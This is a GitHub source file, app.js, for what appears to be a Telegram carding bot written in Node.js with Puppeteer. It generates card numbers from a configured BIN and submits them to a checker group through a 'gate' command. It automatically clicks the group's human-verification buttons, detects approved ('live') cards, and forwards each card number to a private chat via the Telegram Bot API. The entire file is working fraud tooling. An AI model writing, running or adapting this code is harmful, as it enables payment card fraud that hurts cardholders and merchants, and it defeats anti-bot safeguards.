-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.js
466 lines (373 loc) · 14.8 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
import express from "express";
import { readFile, writeFile } from 'node:fs/promises';
import path from "path";
import fetch from "node-fetch";
import { parse } from 'node-html-parser';
import { generateCardFromString } from "./GenCard.js";
import { resolve } from 'node:path';
import puppeteer from 'puppeteer';
import notifyFoundLiveCard from "./notifyFoundLiveCard.js";
(async function(){
// Or import puppeteer from 'puppeteer-core';
var binFileBuffer = await readFile(resolve("./env.txt"));
var binFileContent = binFileBuffer.toString();;
var countedLive = 0;
//return console.log(JSON.stringify(binFileContent))
var [bin, gate, group_id, person_chat_id, bot_token,num_to_find, to_wait_card_send, wait_to_begin] = binFileContent.split("\r\n").map(e => e.split("=")[1])
/*
const bin = "43561902140xxxxx|03|2029|rnd";
var gate = ".ap"; */
num_to_find=Number(num_to_find);
to_wait_card_send=Number(to_wait_card_send)*1000;
//console.log(person_chat_id)
const app = express()
const port = 3000;
var qrSaved = false;
var logged = false;
var regexCard = /\d{16,}\|(\d{1}|\d{2})\|(\d{2}|\d{4})\|(\d{3,4})/g;
var maxCurrent = 1;
// Launch the browser and open a new blank page
const browser = await puppeteer.launch({
headless: false, defaultViewport: null,
args: ['--start-maximized']
});
const defaultBrowserContext = browser.defaultBrowserContext();
const pages = await defaultBrowserContext.pages();
const page1 = pages[0]; // Seleccionar la primera pestaña (la pestaña que se abre al abrir el navegador)
page1.goto('https://web.telegram.org/a/',{timeout:60_000});
await page1.waitForSelector("#root");
var localStorageBuffer = await readFile(resolve("./localStorage.json"))
var localStorageJSON = localStorageBuffer.toString();
if (localStorageJSON !== "") {
var localStorageObject = JSON.parse(localStorageJSON);
await page1.evaluate((localStorageJSON) => {
Object.keys(localStorageJSON).forEach(key => {
window.localStorage.setItem(key, localStorageJSON[key]);
});
}, localStorageObject);
}
var page = await browser.newPage();
page1.close();
// Navigate the page to a URL.
await page.goto('https://web.telegram.org/a/' + group_id,{timeout:60_000});
await new Promise(r => {
setTimeout(() => r(true), 5_000);
})
await page.click("body")
await new Promise(r => {
setTimeout(() => r(true), 1_560);
})
await page.click("body")
page.on('dialog', async (dialog) => {
await dialog.accept();
});
var ultimaVezEnviadaUnaTarjeta = null;
// Set screen size.
function antibot() {
return new Promise(async (resolve) => {
var classForAntibotButton = "antibot-button";
var antibotBtnArrayLength = await page.evaluate((classForAntibotButton) => {
var antibotBtnArray = Array.from(document.querySelectorAll("div > div.message-content-wrapper.can-select-text > div.InlineButtons > div > button")).filter(e => e.innerText === 'Soy Humano ');
if (antibotBtnArray.length > 0) {
for (let i = 0; i < antibotBtnArray.length; i++) {
antibotBtnArray[i].classList.add(classForAntibotButton + "-" + i);
}
return antibotBtnArray.length;
} else {
return null
}
}, classForAntibotButton);
await new Promise((r) =>{setTimeout(() =>r("ok"), 10_000)});
if (antibotBtnArrayLength) {
for (let i = 0; i < antibotBtnArrayLength; i++) {
await page.click("." + classForAntibotButton + "-" + i);
//console.log("se dio click a: " + i);
await new Promise(r => {setTimeout(() => {r(true)}, generateRandomNumber(1000,3000))})
}
var page1 = await browser.newPage();
await page.close();
page = page1;
await new Promise(r => {setTimeout(() => {r(true)}, generateRandomNumber(5000,10000))})
await page.goto('https://web.telegram.org/a/' + group_id);
}
resolve(classForAntibotButton);
})
}
/* MANEJAR TARJETAS */
/*
await page.evaluate((chat_id) => {
Array.from(document.querySelectorAll("a")).find(a=>a.href=chat_id)
return true
}, chat_id)
*/
var queue = [];
var ejecucion = 1;
var yaCargo = false;
async function interval() {
/* if (!yaCargo) {
page.waitForSelector('#editable-message-text', { timeout: 60_000 })
yaCargo=true;
} */
//console.log(ejecucion++);
const startTime = Date.now();
const maxTime = 1000; // límite inferior para el tiempo transcurrido
await antibot();
/* var checkingCards=await getCheckingCards();
//console.log("checking cards: ",checkingCards) */
/* if (yaCargo) { */
var cardsStatuses = await getCardsStatuses();
//console.log(cardsStatuses.map(e => e.card));
//console.log(queue)
/* for (let i = 0; i < cardsStatuses.length; i++) {
const cardObject = cardsStatuses[i];
if(queue.includes(cardObject.card)) queue.splice(i, 1)
if(cardObject.live){
var fileContent = await fs.readFile("./lives.json")
var liveCards = JSON.parse(fileContent);
liveCards.push(cardObject);
await fs.writeFile("./lives.json", JSON.stringify(liveCards))
}
} */
for (let i = cardsStatuses.length - 1; i >= 0; i--) {
//console.log(i+1)
if (cardsStatuses[i].live && queue.includes(cardsStatuses[i].card)) {
console.log("se encontro live: ", JSON.stringify(cardsStatuses[i]))
/* var fileContent = await readFile(resolve("./lives.json"))
var liveCards = JSON.parse(fileContent);
if (!liveCards.find(e => e.card === cardsStatuses[i].card)) {
liveCards.push(cardsStatuses[i]);
await writeFile(resolve("./lives.json"), JSON.stringify(liveCards))
} */
await notificartelegramTarjetaLive(cardsStatuses[i])
//DETENER CUANDO SE ALCANCE EL LIMITE
countedLive=countedLive+1;
if(num_to_find===countedLive) {
try {
console.log("SE ALCANZO EL NUMERO DE LIVE ESPECIFICADAS EN ENV.TXT")
if (num_to_find === countedLive) await browser.close();
} catch (error) {
console.error("Error al cerrar el navegador:", error);
}
}
}
if (queue.includes(cardsStatuses[i].card)) {
console.log("se encontro y se borrará :", cardsStatuses[i].card, " con index " + queue.indexOf(cardsStatuses[i].card))
//console.log(cardsStatuses[i])
queue.splice(queue.indexOf(cardsStatuses[i].card), 1)
}
}
//console.log(queue)
var cupos = maxCurrent - queue.length;
while (cupos > 0) {
//console.log("cupos: ", cupos)
var cardString = generateCardFromString(bin);
//console.log(cardString)
var cmmd = `${gate} ${cardString}`;
if (cardString) {
var tiempoDesdeUltimaTarjetaEnviada = Date.now() - ultimaVezEnviadaUnaTarjeta;
if(ultimaVezEnviadaUnaTarjeta===null ){
await sendCardToCheck(cmmd)
ultimaVezEnviadaUnaTarjeta = Date.now();
}else if(tiempoDesdeUltimaTarjetaEnviada>=to_wait_card_send) {
await sendCardToCheck(cmmd)
ultimaVezEnviadaUnaTarjeta = Date.now();
}else if(tiempoDesdeUltimaTarjetaEnviada<to_wait_card_send){
await new Promise((resolve)=>setTimeout(resolve, (to_wait_card_send-tiempoDesdeUltimaTarjetaEnviada)));
await sendCardToCheck(cmmd)
ultimaVezEnviadaUnaTarjeta = Date.now();
}
} else {throw new Error("comando invalido mmmmmmm")};
/* var msgsWithCmmds = await getMessageWithCardCommands();
//console.log(msgsWithCmmds) */
if (!queue.includes(cardString)) queue.push(cardString);
cupos--;
}
/* } */
const endTime = Date.now();
const timeElapsed = endTime - startTime;
if (timeElapsed >= maxTime) {
// llamar a la función interval de manera recursiva
interval();
} else {
// establecer un intervalo de tiempo fijo antes de llamar a la función interval de manera recursiva
setTimeout(interval, maxTime - timeElapsed);
}
}
setTimeout(interval, (Number(wait_to_begin)*1000));
/*
async function getCardsStatuses() {
return page.evaluate((regexCard)=>{
return Array.from(document.querySelectorAll(".text-content.clearfix.with-meta")).filter(e=>regexCard.test(e.innerText) && e.innerText.includes("Status ➜")).map(e=>{
return{
live: e.innerText.includes("Declined!") ?false:true,
card: e.innerText.match(regexCard)[0]
}
})
}, regexCard)
} */
/* async function getMessageWithCardCommands() {
var matches = await page.$$eval('div.text-content.clearfix.with-meta', (messages, gate) => {
var regexCard = /\d{16,}\|(\d{1}|\d{2})\|(\d{2}|\d{4})\|(\d{3,4})/g;
return messages.filter(e => regexCard.test(e.innerText) && e.innerText.includes(gate+" ")).map(ele => ele.innerText);
}, gate);
return matches
} */
/* async function getMessageWithCardCommands() {
var matches = await page.$$eval('div.text-content.clearfix.with-meta', (messages, gate) => {
var regexCard = /\d{16,}|(\d{1}|\d{2})|(\d{2}|\d{4})|(\d{3,4})/g;
return messages.filter(e => regexCard.test(e.innerText) && e.innerText.includes(gate+" ")).map(ele => {
var match = ele.innerText.match(new RegExp(gate + " (\\d{16,}|(\\d{1}|\\d{2})|(\\d{2}|\\d{4})|(\\d{3,4}))"));
return match && match[0].trim();
});
}, gate);
return matches
} */
async function getCardsStatuses() {
var htmlText = await page.evaluate(() => {
/* */
return document.querySelector("html").outerHTML
})
const root = parse(htmlText);
var checkingErrorMessage = "[あ] Status: ERROR 1REQ ";
var allMessages= root.querySelectorAll(".messages-container div.text-content.clearfix.with-meta");
//console.log(allMessages.map(e=>e.innerText))
var regexCard = /\d{16,}\|(\d{1}|\d{2})\|(\d{2}|\d{4})\|(\d{3,4})/g;
var matches= allMessages.filter(e => e.innerText.match(regexCard)!==null && (e.innerText.includes("\n[あ] Response: ") || e.innerText.includes(checkingErrorMessage))).map(ele => {
//console.log(ele.innerText)
var preMessage = ""
if(ele.innerText.includes(checkingErrorMessage)) {preMessage="ERROR 1REQ ⚠️";}
var cardState= {
message: preMessage || ele.innerText.match(/\[あ\] Response: ([^\n]*)/)[0].split("[あ] Response: ")[1],
live: ele.innerText.includes("Approved") ? true : false,
card: ele.innerText.match(regexCard)[0],
date:generateDate()
}
// console.log(s)
return cardState;
})
/* var matches = await page.$$eval('div.text-content.clearfix.with-meta', (messages) => {
var regexCard = /\d{16,}\|(\d{1}|\d{2})\|(\d{2}|\d{4})\|(\d{3,4})/g;
return messages.filter(e => regexCard.test(e.innerText) && e.innerText.includes("Status ➜")).map(ele => {
return {
live: ele.innerText.includes("Declined!") ? false : true,
card: ele.innerText.match(regexCard)[0]
}
})
}); */
//console.log(matches)
/* return matches.filter(e => regexCard.test(e.innerText) && e.innerText.includes("Status ➜")).map(ele => {
return {
live: ele.innerText.includes("Declined!") ? false : true,
card: ele.innerText.match(regexCard)[0]
}
}) */
return matches
}
async function sendCardToCheck(cmmd) {
// await page.focus('#editable-message-text');
/* console.log(JSON.stringify(cmmd));
return "r"; */
await page.type('#editable-message-text',cmmd ,{delay:3})
await new Promise(r => {setTimeout(() => {r(true)}, generateRandomNumber(456,1000))})
await page.click("#MiddleColumn > div.messages-layout > div.Transition > div > div.middle-column-footer > div.Composer.shown.mounted > button");
await new Promise(r => {setTimeout(() => {r(true)}, generateRandomNumber(456,1000))})
return "ok";
}
// Escuchar eventos de respuesta de HTTP
page.on('requestfinished', (request) => {
if (request.url().startsWith('https://web.telegram.org/a/blank') && logged == false) {
//console.log(request.url())
if (
localStorageJSON === ""
) { updateQr() }
}
if (request.url().startsWith('https://web.telegram.org/a/BundleMain.') && request.url().endsWith('.css')) {
//console.log(request.url())
//console.log('Sesión iniciada')
if (localStorageJSON === "") {
page.waitForSelector("#LeftColumn-main > div.NewChatButton > button")
.then(() => {
page.evaluate(() => {
return JSON.stringify(window.localStorage);
})
.then((localStorageJSON) => {
/* fs.writeFileSync('localStorage.json', localStorageJSON);
//console.log("localStorage.json was saved") */
uploadLocalStorageFile(localStorageJSON)
.then(() => console.log("localStorage file uploaded"))
.catch(error => console.log(error))
})
})
.catch(error => console.log(error))
}
logged = true;
}
});
app.get('/qr', (req, res) => {
if (logged) {
res.send('Sesión iniciada')
}
else if (!qrSaved) {
res.send('qr not saved yet');
}
else {
res.sendFile(path.resolve('./qr.png'));
}
})
app.listen(port, () => {
//console.log(`Example app listening on port ${port}`)
})
async function updateQr() {
var qrSelector = await page.waitForSelector(".qr-container");
qrSelector.screenshot().then(buffer => {
fs.writeFileSync('qr.png', buffer);
//console.log("QR code screenshot saved to qr.png");
qrSaved = true;
})
.catch(error => console.log(error))
}
async function notificartelegramTarjetaLive(liveCardObj) {
var message = "";
message+="Live Card ✅\n\n";
message+="*Card:* `"+liveCardObj.card+"`\n";
message+="*Message:* `"+liveCardObj.message+"`\n";
message+="*Date:* `"+liveCardObj.date+"`\n";
message+="*Bin:* `"+bin+"`\n";
message+="*Gate:* `"+gate+"`";
var apiEndpoint = "https://api.telegram.org/bot";
try {
var options =
{
'headers': {"Content-Type" : "application/json"},
'method' : "POST",
'body' : JSON.stringify({
"method":"sendMessage",
"chat_id":person_chat_id,
"text":message,
"parse_mode":"Markdown"
})
};
var response = await fetch(apiEndpoint+bot_token+"/", options);
var responseMessage = await response.json();
if(responseMessage.ok){
console.log("Se envio la live "+liveCardObj.card+" a el telegram");
notifyFoundLiveCard(liveCardObj.card);
}else{
throw new Error(responseMessage.description);
}
/* await responseMessage({chat_id: person_chat_id, message_id: responseMessage.message_id, message})
*/
//var json = JSON.parse(response.getContentText());
} catch (err) {
console.log("Error para enviar mensaje a persona:")
console.log(err)
}
}
})()
function generateRandomNumber(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function generateDate() {
var dateOb = new Date();
return dateOb.toLocaleTimeString('es-CO', { hour12: true })+" - "+dateOb.toLocaleDateString("es-CO");
}